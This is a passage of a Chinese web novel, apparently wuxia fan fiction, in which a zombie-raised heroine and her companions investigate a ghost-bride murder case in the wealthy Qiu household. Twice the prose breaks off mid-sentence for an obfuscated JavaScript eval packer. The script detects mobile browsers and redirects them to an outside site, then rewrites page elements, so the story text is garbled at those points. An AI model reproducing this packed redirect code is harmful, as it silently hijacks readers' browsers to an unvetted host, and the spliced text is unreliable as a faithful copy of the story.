今夜,整个瓮城能出门的人几乎都汇聚在此,人们鱼群抢食般的挨挨挤挤,此刻又鱼群般的静默相对。
祭台上的女孩儿个高而挺拔,蒙面时很难分清男女,可一旦面纱落下,面对那张柔软甜美的面庞,没有人能欺骗自己她是个男人。
不管台下众人大声辱骂,还是压抑古怪的沉默,都没有干扰到台上的女孩。
她不慌不忙的捡起面纱,继续收集残余香灰,细致入微的用面纱擦干净坛口尘埃,最后起身准备封坛掩埋。
这时,一个须发皆白的老者摘下面纱,慌乱而艰难的走上祭台。
“住手!”
他扣住女孩的手腕,夺过坛子如珍如宝的抱在怀中。
“几十年来瓮城严守规矩,从不让女人玷污神灵,你是哪里来的黄毛丫头,如此胆大包天!”
女孩不害怕,也不愤怒,她指着坛子,慢吞吞的说:“坛子、祭祀、没完。”
同样嘶哑得不像人能发出的声音,让万灵更加确定台上的女孩就是巷子里那人。
可为什么啊?
为什么是个女孩?
见老者不动,女孩上前想要抢回坛子,随着她的动作,身上系着的绢花簌簌落下,露出浅紫色单薄外衣上那团刺目的血渍。
老者见此更加怒不可遏,气喘如牛,伸出干巴骷髅的老手,重重打掉女孩的手。
“女子就罢了,竟然还以污秽之身亵渎神灵,看来只有将你烧死祭神,才能平息神灵怒火。”
台下一直静得跟不存在的人群,此时纷纷举手附和。
“烧死她!烧死她!”
海浪般的声音震得金流耳朵疼,她甩甩脑袋,蹦上祭台,直直插在两人中间。
“死老头,真有神明的话她肯定想先烧死你,浑身腐朽臭味还敢上祭台,也不怕熏着你的神。”
“你你你……”老者气得抖如筛糠。
金流大大的翻个白眼,捂着鼻子,“一开口更臭了,年纪大了更要注意清洁嘴巴,成天光把胡子洗白白有什么用。”
“我我我……“老者面色涨的跟猪肝似的。
万灵也悄摸摸跟着上台,凑到女孩身边,捡起几多绢花挡在她身后。
见她一脸懵懂的看着自己,她犹豫的低声问:“你是第一次来月事?”
女孩愣了愣,点头。
人生第一次来月事,还在全城人面前,若是她定然羞愧的活不下去。
刚才还在气势汹汹的跟老者争吵的金流听到这话,抽空转过身,对女孩露出灿烂的笑容。
“恭喜你,长大了。”
万灵怔愣几息,攥紧女孩的手,笑得温柔。
“嗯,恭喜你。”
随着金流与老者的争吵加剧,台下也躁动起来,气氛剑拔弩张,眼看就要爆发,突然有一老一少气喘吁吁的挤上祭台。
“各位息怒!”中年男人双手抱拳,弯腰冲台下行了一圈礼。
年轻男人则走到女孩旁边,不分青红皂白的推开万灵,将女孩严严实实的护在身后。
万灵没防备踉跄几步,站稳后又陡然呆住。
“诸位息怒,诸位息怒。千错万错都是我秋全的错,是我没照看好闺女,没教导她瓮城规矩,才造成如今的局面。求各位念在秋某在翁城这几十年,无功也有劳的份上,宽恕小女年幼无知犯下的无心之失。”
看到秋全,老者瞬间如同被水泼灭的火堆,只剩灰溜溜的一股烟。
“原来是秋公的小女,怪不得斗香时百战百胜,一举夺魁。”他干笑吹捧两句,忽而话风一转,“可女人祭祀,还来月事,实在不堪。”
秋全姿态放的很低,“是是是,是秋某管教不严,万般错处,皆在秋某一人,望各位念在往日情面,给秋某三分薄面……”
两人你来我往的互相恭维奉承,金流嫌弃的连连后退,没防备踩到一只脚。
“眼睛瞎了就抠出来!”
秋武里恶声恶气的低吼,在金流转身后眼神一亮,张嘴还想说什么就被身后的妹妹戳了戳。
饿狼瞬间变成小狗,他转身弯腰,声音轻得不能再轻。
“小妹,怎么了?是不是害怕?别怕,大哥在这呢。”
“你、吵。”
“嘶——”金流捂住耳朵。
近距离听她说话,更难听了。
在秋武里看死人的眼神下,金流揉揉耳朵,清清嗓子,有些心虚的质问女孩。
“虽然你是个女孩,不过女孩也不能完全撇清嫌疑。我的意思是,你有没有可能是侵……”
话说到一半,万灵跳起来捂住金流的嘴,把人拉倒一边。
万灵心乱如麻。
“金姑娘,我闻见那个男人身上也有一样的香味。”
金流面上写满糊涂,“没闻错?”
万灵没有丝毫迟疑,“绝对没错。”
此时秋全也已平息好众人怒火,来到女儿身边,擦身而过的瞬间,同样的香味又飘过万灵身边。
她没说话,挽着金流的手紧了紧。
金流会意,环视一圈,贴在她耳畔道:“看来是秋家有问题。”
祭祀最后还是由秋家人完成,不过不是身为女子的秋香里,而是秋家长子秋武里。
秋武里顶着小妹滚烫的视线埋香,手刨的飞快,送神祭词刚念到一半,香灰就已经埋好。
没人斥责他哪里不对,最不该出现的女人都上台主祭了,动作怠慢一点又如何。
香神会结束,人流散去,街道上四处散落着无人认领的绢花。
金流拾起一朵红色绢花,戴在耳边。
“大家倒是聪明,绢花祭祀完要不要都行,金银制成的丝线才是必须保存好的东西啊。”
说着说着,弯腰准备再捡一朵,手指碰到绢花的同时,另一人的手也碰到同一朵花上。
对面的秋香里猛然收回手。
她从祭台上一路捡过来,怀里满满当当的绢花遮了大半个人,只剩半个脑袋露在外头。
秋全和秋武里怀中同样满是绢花,宠溺的扭头看她。
因为对秋香里的仗义出手,纵然秋武里心不甘情不愿,非常懂人情世故的秋全还是将金流等人邀请到家里,奉上丰盛宴席感谢。
听到金流提起走散后一直没跟她们汇合的陆小凤和阿飞,秋全立刻安排家中下人外出寻找。
秋府曾连续十年成为香神主祭,若不是近三年因为家中事故没能制香,恐怕会继续蝉联制香魁首。
十年来累计的财富,让秋府成为当之无愧的瓮城首富。这也是老者为什么会给秋全面子的原因,只要事后的补偿到位,天大的错误也能大事化小小事化了。
金流在看见秋府大门时,就没出息的“哇”出声,入府后,更是野人下山似的的东瞧西瞧。
等到各种豪华菜色流水般摆上席面,真没见过世面,最多只吃遍客栈菜单的末世人简直眼花缭乱,不知从何处下筷。
秋全并不因为她此番作态表现出轻视,反而豪爽大笑。
“金姑娘要是看得上秋府的餐食,不如在府中多住几日。”
金流无法拒绝,埋头吃饭,点头如捣蒜。
秋香里坐在一边,干巴巴的吃着白米饭,除了秋全和秋武里夹到她碗里的菜,绝不动手夹菜。
不知想到什么,她扒饭的动作一僵,在秋家父子紧张关切的注视下,好半天才伸手夹了离她最近的清炒莲藕,却没有送到自己碗里,而是手腕一转,放到了万灵碗里。
被那股香气包围,明白身在虎穴狼窝的万灵,默不作声的缩成一团,心中惊疑不定的揣测,这桌上的坐着的哪位是她又恨又怕的歹人。
然而秋香里突如其来的动作,让她骤然成为万众瞩目的焦点,毫无防备的少女瞬间面色惨白如纸。
低头看看自己的碗,伸头看看万灵的碗,金流不开心,把碗举到秋香里面前。
“我也要。”
秋香里面露难色,见她一直举着碗不放,勉勉强强的也挟了一筷子放进去。
金流满意,吃的更香。
秋全屏息凝神看着女儿,保养合宜的脸上,因为亢奋激动簇出几根皱纹。
除秋武里外,桌上其他人都不明所以的看着他。
不就是夹一下菜,怎么激动得像是捡到天下最大最沉的黄金似的。
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16431028|184905||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
各位有所不知,小女素日孤僻,除了家人几乎从不与他人亲近。这些年制香熏坏嗓子后,甚至跟我们也疏离很多。”秋全悄悄抹了把眼泪,看救星般的看着万灵。
“看来姑娘与小女有缘,请务必在府中多住些时日。”
并不想要和秋家人有缘,万灵咬着腮内软肉,内心挣扎不已,最后还是勉强笑着答应。
天赐良机,机不可失,失不再来。
桌子下的手偷摸伸向一旁,专心吃饭的刀客察觉到腿上的触感,偏头看着面色苍白的万灵。
金流不知所以,苦思冥想,恍然大悟,凑过去与她耳语。
“别担心,我没说用这顿饭抵债,我欠你那顿饭还记着呢。”
心下千回百转的情绪荡然无存,万灵板下脸,给她夹了满满一筷子菜,恶狠狠道:“吃吧你!”
金流不解,金流疑惑,金流吃饭。
恰逢阿飞和陆小凤走失未归,无人能够解惑,她只好向俘虏兼前辈求救。
“万灵好像在生气。”
见证了前因后果的一点红拒绝救援,淡定擦嘴,起身坐到门口,背对众人默默擦剑。
饭后,夜色渐深。
为香神会忙碌好些日子的秋府,终于得到片刻喘息。
三位贵客被安排到府中最好的客房,沐浴更衣后也都已睡下。
阿飞和陆小凤到处打听,千辛万苦找来秋府时,金流正陷在高床软枕中,睡得不知天地为何物。
阿飞小心翼翼的碰触叫不醒她,陆小凤拎着她的辫尾骚弄鼻尖也没闹醒她。
陆小凤啧啧称叹的收回手,衣角轻轻扫过她腰间。
金流猛地睁眼,用力按压住挂在腰间的荷包。
“谁敢动我荷包!”
陆小凤赶忙捂住她的嘴,又在她看死人的目光下举起双手自证清白。
“真是不小心碰到,我绝对没有觊觎你荷包的心思。”
“哼哼。”
冷水洗了把脸后,金流彻底清醒,解释完为何他们会住在秋家后,开始质问起消失半天的二人。
阿飞老老实实回答。
“跟你们走散后,我和他四处找你们,路过一处废弃宅子,里面起了好大的火。我们去救火,火扑灭后,发现六具焦尸。我们把剩余尸体转移到城外,所以来晚了。”
金流:“六具?”
阿飞点头:“正是那六名被害女子。”
手指摩挲茶杯口,金流拧眉,语气笃定,“没抓到人,也没找到线索吧。”
陆小凤和阿飞对视一眼,无奈叹气。
“趁着香神会,城里人都聚在祭祀台时去毁尸灭迹,他倒聪明。”陆小凤没个正形的坐在桌上,歪着身子凑到金流跟前。
“不过万姑娘的鼻子还真灵,只凭香气就能直接抓出秋家。”
谁能想到,两日前还在为所谓清白试图寻死的纤弱少女,不过短短几日便成长到如此境界。
沉着冷静,胆大心细,就连他也自愧不如。
“她确实厉害,等我吃够了秋家的饭,把这事彻底解决,一定要好好请她吃顿饭。”
“你找出那人了?”陆小凤翻身下桌,坐到她空着的那边,“是秋全还是秋武里?”
金流睨了他一眼,“没找出,不过既然知道是秋家人,全杀了不就行,管他是谁。”
不论是陆小凤,还是阿飞,都被她说的话吓一跳。
“不…不太好吧。”陆小凤结结巴巴的开口,“万一是秋全或者秋武里一个人干的,其他人并不知情,那不是滥杀无辜。”
“不知情就无罪?无罪就不斩草除根?”金流比他更疑惑,“只杀罪魁祸首,不灭其他人的口,难道等着他们日后来报复?”
“再说杀手收钱办事,就该把目标家里的猫猫狗狗都一起解决,这才算干干净净,不给雇主留后顾之忧。”
好有道理,该如何反驳啊!
陆小凤求助阿飞,阿飞目光闪躲。
向来笨嘴拙舌的剑客哪里能诡辩得过她,识趣闭嘴,于是所有压力落到陆小凤身上。
在一大通祸不及家人、不知者无罪的理论灌输劝解无用后,他开始思念起远在江南的好友。
要是花满楼面对眼前的境况,肯定能说出个所以然,劝解这位姑娘,放弃如此凶残的想法吧。
7. 第七章
陆小凤苦口婆心劝了,据理力争谈了,甚至用上了死缠烂打。
金流仍旧不松口。
她捂着耳朵,仰头直愣愣盯着屋顶,神情逐渐呆滞,魂飞九天遨游。
最后,嫌弃陆小凤实在话多,直接把这只烦人的臭小鸟轰出门外,勾着阿飞的脖子,倒回去睡了个回笼觉。
早起练剑的一点红推开门,迎面撞上愁眉苦脸的陆小凤。
“一点红!你怎么也在这?”陆小凤孤零零坐在台阶上,惊喜交加的望着身着黑色劲装的杀手。
他与一点红有过些交集,自认为是能说上几句话的朋友。不过一点红行踪不定,他们也许久未见。
久别重逢,该来个亲热拥抱。
显然一点红不这样认为。
他是个杀手,钱给的够谁都可以杀,哪里来的朋友。
一点红冷冷淡淡,闪身避开飞来小鸟,自顾自练起剑。
被拒绝的陆小凤很伤心,伤心之余脑中突然灵光一闪。
既然金流非要在杀手规矩上犟,觉得他说的话不管用,不如就让真正的杀手说服她。
天降一点红,不用白不用。
把前因后果悉数告诉一点红,陆小凤眨巴眼睛,满含期待的盯着他。
“帮帮我,救救他们吧。”
与任务无关的事,按理说一点红不会管。
只是……
一点红敛眉,眼中些许烦躁。
在他眼中杀手一行,不过以命搏命,以血还血,并无任何经验可言。
但先前已然应下金流要传授经验,就不能毫无作为。
作为杀手,不分青红皂白,毫无原则滥杀,实在后患无穷。
屋内,阿飞直挺挺躺着,左耳边的鬓发随着身旁人的呼吸起伏摇摆。
想起昨晚关门时陆小凤的眼神,他耳根又泛起红意。
陆小凤一定知道了。
他没想过炫耀,他以为那样的关系就该悄悄的,见不得光的进行。
闲花落春水,少年情思荡漾。
没给少年人太多窃喜的时间,门外传来轻手轻脚的敲门声。
“你们醒了吗?”
简直废话!
因着昨夜共同灭火的经历,阿飞原本对陆小凤稍微改善的印象再次跌入谷底,他郁郁起身开门。
金流倒在阿飞肩上,睡眼惺忪,打着哈欠,头发蓬乱,说话有气无力。
“饶了我吧,我只是想好好睡个觉。”她哭丧着脸哀嚎。
“一日之计在于晨,早起片刻身心轻松。”陆小凤笑容满面,拉出身后的一点红。
“真是好巧,我的好友,天下最厉害的杀手,中原一点红居然也在秋府。”他咬字很重的强调''最厉害''和''杀手'',“红兄听说你的事,很想跟你见一面。”
躲开一点红的冷眼,他使劲把人往前推。
“我没告诉你们吗?”金流懒怠又诧异的抬眼,“前辈收钱来杀我,被我俘虏,现在算是我的老师。”
短短一句话,包含的信息量太大。
陆小凤满头雾水,不知如何回话。
阿飞从头到尾打量一遍一点红,立马警觉起来。
男人的直觉告诉他,来者不善。至于哪里不善,毫无经验的少年剑客暂时没琢磨明白。
一夜过去,对于俘虏一词,一点红逐渐接受。
他淡淡颔首,算是同意她的说法。
没有动之以情晓之以理的劝告,他一针见血的让固执刀客暂时安分下来。
一点红道:“真正的杀手从不免费杀人,从不费力杀不该杀之人。”
眼见金流有所触动,陆小凤赶紧添油加醋。
“你的买家要的是鬼新娘案幕后黑手的命,仅凭万灵一家之词不足以作为证据。你自然可以取秋家人性命,可事后该如何向买家证明秋家有罪?”
对杀手行业完全陌生,半点不懂行的刀客久违的想起寒江雪。
那个看似大大咧咧,实则心细如发的大小姐,肯定不会只听万灵的话,就断定她没杀错人。
念及还没解的尾款,金流按耐下急切了事的欲望,决定更进一步调查。
另一边,秋家父子同样早起。
知晓小妹还是不来用早饭,秋武里腿往椅子上一翘,举起茶杯往旁边侍女身上砸去。
“废物!连小姐都请不过来,养你们这些废物有什么用!”
刚烧的热茶,瞬间湿透衣衫,侍女痛得直发抖,紧咬牙关,不敢发出半点声音。
“阿武。”挥退所有侍女,秋全沉声警告,“府中住着外人,你注意点。”
“爹,你是不是年纪大,脑子糊涂了。留那些外人在家,干什么都不方便,更别说他们还跟陆小凤有关系,那家伙最喜欢坏别人好事,万一被查出什么就全完了。”
“还不是为了小香。”秋全揉着额角,“自从那件事后,小香一直把自己锁在屋里,只顾着制香,比之从前更不愿与人亲近。如今好不容易见她对人表现出好感,不管他们是哪路神仙,都必须留在秋家。”
提起秋香里,秋武里也软下来。
“既然是对小妹好,那就让他们留下,不过那些东西……”
敢放外人入府,秋全自然早有准备。
他厉声警告,“其他的你不用管,管好你自己的东西,别让他们发现端倪就行。”
秋武里拍胸保证,“你放心,绝不会出纰漏。不过东院那边怎么处理?”
秋全不耐烦,“只会他一声就好,不用多管。”
话音刚落,忽见秋香里绕过前门进来,秋全喜上眉梢,快步走到她面前。
“小香今日怎么想起来看爹,用过早饭没?来人……”
“不、要。”秋香里摆手,避开秋全拉她的手。
侧身避开了秋全,转身又正好撞上秋武里。
秋武里一改刚才混不吝的模样,弯着腰,温声细语的说:“已经在院里用过早饭了吗,没关系,哥哥还没吃好,陪哥哥再吃两口好不好?”
“不好。”秋香里有些着急拒绝,说话速度一快,嗓子里就沁出血腥味。
“别着急。”秋武里赶紧给她倒了杯温水,见她眉头蹙起,忍耐疼痛,抬手给了自己一耳光。
“哥哥逗你玩呢,哥哥错了,别着急,慢慢说。”
秋全接过水,把他推开,小心观察女儿的情况。
含了一会儿温水,等嘴里血腥味被冲淡,秋香里不紧不慢的开口。
“我见、万灵、”
送她去找万灵的路上,秋武里还在小声嘀咕。
“那丫头有什么好的,那么得你喜欢。你告诉哥哥喜欢她那点,哥哥去学,学好了小妹多喜欢哥哥一点,好不好。”
秋香里推开他凑的太近的脸,“她懂、花。”
“花?”秋武里摸不着头脑,“紫烟花?那我真没辙,我对香真是一窍不通。”
兄妹俩你逃我追好一会儿,客房已经近在眼前。
小妹无论如何都不要他跟过去,秋武里没办法,怒气冲冲的回到自己院里。
一打开院门,犬吠声、惊叫声、哭嚎声铺面而来。
他冷笑连连,甩上门,将所有声音锁在院中。
“有动静!”趴在躺椅上,懒洋洋晒太阳的金流猛然起身,耳朵高高竖起,全神贯注的聆听。
院里所有人被她吓了一跳,僵住身子不敢动弹。
几息后,她歪了歪头,满脸困惑,长长的辫子在椅面上扫来扫去。
“没有了。”
陆小凤长舒一口气,放下滞在空中的酒壶,“你听到什么?”
金流犹犹豫豫,“好像是变异兽的叫声。”
哈?
众人面面相觑,没一个听过名叫变异兽的动物。
金流抿唇,比划着解释,“就牙齿长长,体型大大,一口一个大活人,叫声是听起来像人在哭的汪呜汪呜。”
众人摇头。
万灵有些害怕,“听起来好可怕。”
陆小凤捏下巴,“山海经里应该能找到。”
“可能是我听错了。”金流泄气趴下,脸颊被躺椅挤出肉肉。
阿飞没忍住,捏了捏,软软的很好捏。
金流震惊捂脸,“你好大的胆子!”
等到秋香里迈进院中,入目就是热闹非常的场面。
被金流压在地上狠狠揉搓的阿飞,看热闹不嫌事大给金流扇风的陆小凤,练剑被打扰跳到树上捂耳朵的一点红,还有捂着肚子笑到站不稳的万灵。
没有丁点儿迟疑,秋香里飞快转身,几乎小跑着想离开。
“想去哪儿?”金流纵身跃到她身后,胳膊勾住她的脖子,将人往院子里带。
“哼哼,来了还想走,关门,放阿飞!”
阿飞从地上爬起,衣衫不整,发丝凌乱,“院子没有门。”
好一盆冷水,金流被泼醒了。
松开手,贴心整理好被她弄乱的衣领,笑得近乎谄媚。
“忘了是你的家,快请进。”
秋香里哪敢进去,手怯怯指向万灵。
“我找、她。”
听了好几次,还是没法习惯。
金流倒吸一口气,退到最后方,揉搓遭受重击的耳朵。
丧尸都发不出的音波攻击,人类做到了 。
“我吗?”万灵不敢置信的指着自己。
秋香里走过去拉住她的手,“我们、制香、真的香。”
之前秋香里站在祭台上,在无数人的围攻之下,万灵只看到她的无助。而今回到秋府地盘,万灵忽然意识到,她的面容年纪虽是十三四岁的小女孩,可身材却高大得古怪。
比阿飞都要高一些,凑的近了,万灵只能仰头看她。
女人真的不能伤害女人吗?
秋香里真的不可能是那个歹人吗?
她开始怀疑。
基
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16431029|184905||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
于这个疑惑,她答应了秋香里的邀请,但她有个要求。
“金流要跟我一起去。”
“我吗?”轮到金流不敢置信的指着自己。
最后,去制香的路上,出现三个女性。
女孩、少女还有成熟女人,全都不是很开心。
秋香里觉得被打扰,万灵心中猜疑不断,金流拖着步子,怀念舒服的躺椅。
秋香里的院子在秋府最西边,四面都种着紫烟花树,不见侍女仆从,偏僻安静。
院子里只要有空位的地方,都开辟出来种上花。
正值春日,色彩各异,花型不一的鲜花尽情盛放,地面被铺成锦绣彩缎。
金流无处下脚,跟着院子的主人绕来绕去,终于进到屋里。
门一开,浓郁得刺鼻的香气翻滚而出,毫无防备的金流觉得自己被香揍了几拳。
万灵虽然及时用手帕捂住口鼻,还是被呛得咳嗽不止,涕泪连连。
见秋香里面色不改的低头捣鼓制香工具,金流不可思议的看着她,“你闻不到吗?”
秋香里莫名其妙的扭头,“闻见什么?”
“香味啊!能够香死人的味道!”
秋香里恍然大悟,“原来是香味,难怪、她们、不进来。”
万灵的声音从手帕下传来,闷闷的,“她们是谁?”
“打扫的人,送饭的人。”
“你真闻不到?”金流不相信,抬着她的脸,揉搓她的鼻子,“这香味死人闻了怕是都能熏醒。”
秋香里惊喜不已,“真的?”
金流戳她脑门 ,“假的。”
她退到院子的花丛里,深呼吸几次,总算活过来。
见秋香里听到是假的后,失望之色溢于言表,她好奇问道:“你想让谁活过来?”
万灵也好奇的瞅着秋香里。
秋香里突然扭捏起来,声音虽然小的像蚊子叫,却奇异的没那么嘶哑难听,吐字也更清晰连贯。
“姐姐,让姐姐活过来。”
风吹回来乌云,瓮城又开始下起小雨。
三人坐到台阶上,看数不清的花朵在细密雨丝下颤动。
“姐姐、喜欢、花、制香。”
万灵偏头看她,发现她在笑。
一直木着脸,提线玩偶似的女孩,此刻跟所有普通孩子那样笑着。
金流一眼看穿本质,打趣道:“所以你不是喜欢花,也不是喜欢制香。”
她点点秋香里的眉心。
冰冰凉凉的触感让秋香里忍不住瑟缩,目光追随她的指尖绕来绕去。
“你是喜欢姐姐。”
秋香里没有遮掩的意思,磕磕绊绊但语气坚定。
“喜欢、姐姐。”
因为喜欢,才会在她死后亲手种了满院子的花;因为喜欢,才会在三年里日夜不分的制香;因为喜欢,才会喜欢她的喜欢,厌恶她的厌恶。
以前没制过香就多学习,烟气熏坏嗓子就少说话,味觉消失就只吃饭,嗅觉退化就凑近闻。
秋香里用三年的时间,制出了花神气息,成为香神会主祭。
姐姐喜欢的,想要的,她都会为她拿到。
从西院出来,金流和万灵一人拿了一捆紫烟香。
金流学着秋香里用香碰碰鼻尖,没两下就呛得使劲咳嗽。
“基本上可以排除秋香里的嫌疑,她只是个古怪的姐姐脑,姐姐死后除了制香,什么都不会,什么都不管。”
没得到回答,她回头,见万灵神思恍惚的盯着自己的指尖。
一点点的香味,一点点的苦味,有些腐败……
腐败…腐败……
不对!
那不是腐败的味道,是深藏于阴湿黑暗中的潮气。
刚才在秋香里屋里,浓郁得近乎实体的紫烟香香气之下,藏着那股熟悉的苦涩潮湿气息。
万灵欣喜抬头,紧紧攥着金流的手指。
“那人黑纱下戴着面具,紫烟花木做的面具,怪不得看起来那么怪异。面具上那么重的香气,一定是用来压坛的花木!”
兴奋过后,她开始踌躇。
在心中对比千万遍后,她才慎之又慎的开口。
可金流会信她的话吗?如此明显的指向刚排除嫌疑的秋香里的证据,会被相信吗?
金流会质问她为什么不早说吗?会质疑她的鼻子真那么好用吗?
“这样啊……”
金流停下脚步,垂眼思索片刻,猝不及防抬手揽着万灵的腰,转身往回走去。
“我们现在就去问她面具的事。”
说着扬唇一笑,压低声音,像背着家长干坏事的小孩似的跟她商量,“她要是不说实话就杀了她,反正陆小凤他们不在。”
“不行!”万灵感动的否决。
“哼。”金流撇嘴,手上用力,单臂把她抱了起来。
“现在不杀就不杀,等找到证据我全都杀了。”
8. 第八章
调头回到西院后,金流开门见山的跟秋香里谈起鬼新娘事件。
坦言身为受害者的万灵,闻到那人身上有她制作的紫烟香香味,以及那人黑色面纱下,可能戴着她院子里独有的压坛木面具。
秋香里也很真诚,说她三年来埋头制香,不问世事,甚至不知道瓮城里出现鬼新娘一事,至于紫烟香和面具,她一无所知,无从辩解。
不过最后,她的嫌疑还是再次降低。
很简单。
金流与那人隔窗见过一次,虽然没直接交手,但见识过那人的轻功。
逃跑得非常利索。
秋香里说她从没习过武,这话是真是假,很好验证。
一个人的嘴或许会说谎,但在死亡阴影的笼罩下,她的身体不会说谎。
猝不及防的拉近距离,随手拿的刻刀已经划破脖颈皮肤,一丝红线拉长蔓延,疼痛细细密密。
面对这种情况,会武功的人再怎么掩盖,也敌不过求生本能。
秋香里的身材虽然如成年男子般高大挺拔,可她内里确确实实是个常年居于室内,手无缚鸡之力的女孩。
刀刃袭来,她先是惊吓,而后僵直,一动不动,任人宰割。
“我不认为她在说谎。”金流新奇的学着万灵嗑瓜子,技术不佳,含了一嘴碎皮。
“是因为她不会武功吗?”万灵递给她一把手剥瓜子仁。
“其中一点吧。”一把干掉瓜子仁,撑得腮帮子鼓鼓囊囊,说的话也含含糊糊。
“重要的是,我认为她没有说谎。”
金流双手往宽大袖子里一抄,瘫倒在躺椅上。
有层层云雾阻隔,阳光并不刺眼。
此时,阿飞和陆小凤外出查看六具烧焦女尸的情况,一点红抱剑坐在廊下发呆。
院里难得安静,令人昏昏欲睡。
她闭上眼,秋家三人的身影在眼前一一浮现。
首先是秋香里。
古怪的小女孩,老实的恋姐癖,她的欲望不在于杏欲和杀戮。
其次是秋全。
虚伪的老男人,坦荡的自私鬼,钱财权利是第一位,充其量再加个闺女。
最后是秋武里。
赤裸的纨绔子,直白的暴力狂,面对危险直接逃跑不是他的作风。
躺椅被摇的嘎吱嘎吱作响,她一边悠闲小憩,一边喃喃自语。
“都有嫌疑,都不太像。”
“你说什么?”她声音太小,万灵没听清楚。
“没什么。”金流捏着袖子挡在面上,呼吸鼓动着一块小小的布料上下起伏。
昨晚被陆小凤折腾得没睡好,金流原本只想闭着眼思考,结果晃着晃着没几下真沉沉睡去。
再醒来时,天阴沉沉的,偶有一丝电光闪过。
一点红不见人影,只剩万灵趴在一旁的石桌上休息。
她的睡颜并不安稳,眉心紧簇,惶恐不安。
金流推推她的肩膀,人没有醒,而是攥住了她垂落得发尾。
“嘶——”
不用力挣脱不开,一用力头皮生疼,人还叫不醒。
金流捏紧拳头,直接把人横抱起来,用屁股顶开房间门,找了个软塌将人安置在上面。
一番操作下来,人还是没醒。
她摸了摸万灵的额头,不烫。
视线往下,看见她眼下两团浓郁的青黑,明白这人真的只是缺觉犯困,才压低身子,在她耳边恶狠狠警告。
“松开我的头发。”
或许是在梦中听到熟悉的声音,万灵眉头稍微打开,嘴唇翕动,嘀嘀咕咕。
声音含含糊糊,金流一个字都没听懂。
总之,忙活了好一阵,她终于顺利营救出自己的头发。
浑身轻松的回到院子里时,金流长舒一口气。
一个人也没有。
没人走动,没人说话,就连呼吸声也只有屋内万灵浅浅的一道。
安静到好像又回到了丧尸妈妈们刚死的那个时候。
她一个人躲在窄小阴暗的山洞里,团成一团,紧紧抱着自己。
丧尸妈妈们不知道死在哪里了?不知道是被谁杀了?
毕竟只是两只丧尸,杀她们的人眼睛都不会眨一下,哪里知道不远处的山洞里,还有一个小小的人类等着她们回来投喂。
就算知道了,面对这个被丧尸喂养大的孩子,定然会毫不犹豫的同样施以刀剑。
毕竟,人不吃人,吃人则非人。
金流双手后撑,望着灰白的天空。
也有点像刚来这个世界的时候。
莫名其妙的,毫无准备的来到这里,好不容易熟悉的一切瞬间消失。
像是再次被从丧尸世界放逐到人类世界,她下意识找了个山洞躲起来。
只是这次她长大了,躲藏的山洞也更大了。
透过圆圆的洞口,她第一次看见无边无际的大海,看见海浪翻卷拍打洞口下的崖壁;看见太阳从海下升起,灼人眼球的明亮;看见鲛人横卧于巨石之上,面朝月亮泣泪成珠。
一眼万年,她无可救药的爱上了珍珠。
为了得到更多珍珠,她将鲛人虏回山洞,让他日日夜夜只为一人泣珠。
只可惜后来……
“喵呜!喵~”
凄厉的叫声打断金流的回忆,循声望去,两只猫正在院子围墙上剑拔弩张的对峙。
其中一只明显落了下风,黑白灰黄四色不规则混杂的猫毛所剩不多,浑身布满数不清的伤痕,怂怂的直往后退。
半秃丑猫对面是一只好看的长毛三花,步子优雅高贵,气势强的可怕。
眼看两猫又要厮打起来,金流动手驱赶。
“去别处打架,吵死了。”
她不出声还好,一出声两猫都注意到她。
落败的半秃丑猫一个飞跃向她冲来,绕着她的脚腕转圈挨蹭,嘴里发出不成体统的声音。
没等她成功驱赶,长毛三花显然把她当做丑猫一派,轻巧的落在地面,舔舔爪子,一步一步向她走来。
“跟我没关系啊!”金流举手后退,半秃丑猫也跟着她后退。
她试图用脚尖推开半秃丑猫,“你离我远点,我跟你真没关系啊。”
三花不听解释,亮出爪子。
金流试图用鸡腿贿赂之,无果,跟半秃丑猫一起,被三花追的狼狈奔逃。
金流慌不择路,逃着逃着,在转角处,膝盖猛地撞上什么极其坚硬的东西。
她嗷呜一声,抱着膝盖正要蹲下,一双手极有分寸的隔着好几层袖子,托住她的小臂,帮她稳住身形。
“还好吗?”
声音轻的像晒在月亮下的薄纱,说三个字歇了两次,说完后还侧过脸闷咳几声。
“完全不好。”
金流扶墙站好,揉着酸疼的膝盖,用唯一完好的那条腿,踢了踢撞着她的木轮子。
轮椅上的人被踢得身形不稳的摇晃,仍好脾气的笑着道歉。
“是我的错,姑娘没受伤就好。”
金流目光上下逡巡,这是个年轻又不年轻的男人。
已是初春,还穿着厚重的素白大氅,严严实实封起每一丝皮肉,布料遮掩下的双腿似乎不良于行。
秀丽精致的眉眼中镌刻着疲惫与倦意,长发半扎着,黑丝中混着肉眼可见的白发,额间绑着一根雪白的抹额,面上没什么血色,就算笑着,看起来也死气沉沉。
是个肉/体还年轻,心已经老了、碎了、死了,月下孤魂般的男人。
“你叫什名字?声音还挺好听,再说几句让我听听。”
金流压低身子,一手撑在轮椅的扶手上,一手绞住顺着他耳后滑落的白布条,直勾勾望进他眼中
男要俏一身孝,果真是别有风情的好看。
男人慌张的想要躲开,只是他坐着轮椅,哪里能逃过金流的毒手。
“姑娘莫要如此,我、我已经成婚了。”
此时,两名丫鬟匆匆跑来,绿衣丫鬟推着轮椅,蓝衣丫鬟挡住金流作恶的手。
“好大的胆子,居然敢调戏二少爷!”
